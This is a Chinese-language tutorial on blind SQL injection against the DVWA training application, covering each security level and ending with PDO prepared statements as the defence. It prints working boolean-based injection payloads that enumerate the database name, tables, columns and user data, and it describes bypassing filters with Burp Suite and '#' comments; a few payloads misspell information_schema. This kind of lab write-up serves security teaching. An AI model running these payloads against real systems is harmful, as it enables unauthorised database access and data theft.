dvwa模拟实验——sql盲注

柔情痞子 提交于 2020-02-09 01:11:32

sql盲注

1.sql盲注的基本内容

1.1 sql注入与盲注的区别

盲注:目标只会回复是或者不是,没有详细内容;
注入:可以查看到详细的内容

1.2 sql盲注的过程

判断是否存在注入,注入是字符型还是数字型
猜解当前数据库名–>猜数据库的长度–>猜数据库的名称
猜解数据库中的表名–>猜表的数量–>猜表的长度–>猜表的名称
猜解表中的字段名–>猜列的数量–>猜列的长度–>列的名称

1.3 sql盲注的类型

基于布尔值的盲注
基于时间的盲注
基于报错的盲注

2. DVWA模拟实验

了解一个关键函数:
在这里插入图片描述

2.1 low等级

1.分析源代码
在这里插入图片描述
从源码中可以看出并没有任何防御措施,存在sql注入漏洞,并且注入类型是字符型。
但是输出只有两句话,所以应该采用盲注的方法。
2.手动盲注过程
(1)猜测数据库名的长度
在这里插入图片描述
在这里插入图片描述
从1开始试,一直到页面返回正确。
(2)猜测数据库的名称
利用二分法,并对照ASCII码表可以得到数据库名四个字符分别是什么

1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),1,1))=118 #
1' and ascii(substr(database(),1,1))=119 #
1' and ascii(substr(database(),1,1))=97 #

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到数据库的名称:dvwa
(3)猜测表的数量

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #

在这里插入图片描述
可以得到数据库中一共有两个表
(4)猜测表的名称

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #

在这里插入图片描述

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 #

在这里插入图片描述
可以得到两张表的名称长度分别是9和5
(5)猜测表的名称
代码参考如下:(过程省略)

1' and ascii(substr ((select table_name from imformation_schema.tables where table_schema='dvwa' limit 0,1),1))>97

利用二分法,分别猜测出两张表的名称:(guestbook和users)
(6)猜测数据表中列的个数(以users为例)

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #

在这里插入图片描述
可以得到users表中一共有8列
(7)猜测每列名称的长度
参考代码如下:(过程省略)

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #

(8)猜测每列的名称
参考代码如下:(过程省略)
利用二分法

1' and ascii(substr ((select column_name from imformation_schema.columns where table_schema='dvwa' limit 0,1),1))>97 #

(9)获取数据
参考代码如下:(过程省略)

1' and (ascii(substr((select user from users limit 0,1),1,1)))=97 #

2.2 medium等级

1.查看源代码
在这里插入图片描述
从源码中可以发现,该等级下利用mysql_real_escape_string函数将部分字符进行了转义
采用下拉式窗口,用户不能输入,只能选择
2.绕过方法
利用burpsuite抓取并修改请求包
3.盲注过程
通过burpsuite抓包,并进行盲注。
具体过程省略。
在这里插入图片描述

2.3 high等级

1.查看源代码
在这里插入图片描述
从源码中可以看出,在SQL查询语句中添加了LIMIT 1,通过这种方式控制只输入一个结果。
2.绕过方法
利用“#”将其注释掉
3.盲注过程
接下来的操作与low级别一样;
虽然源码中限制了输入的长度为1,但是我们在输入的最后加个“#”,就可以注释掉源码中的limit 1。
具体过程省略。

2.4 impossible

1.查看源码
在这里插入图片描述
2.分析
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
同时只有返回的查询结果数量为1时,才会输出。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!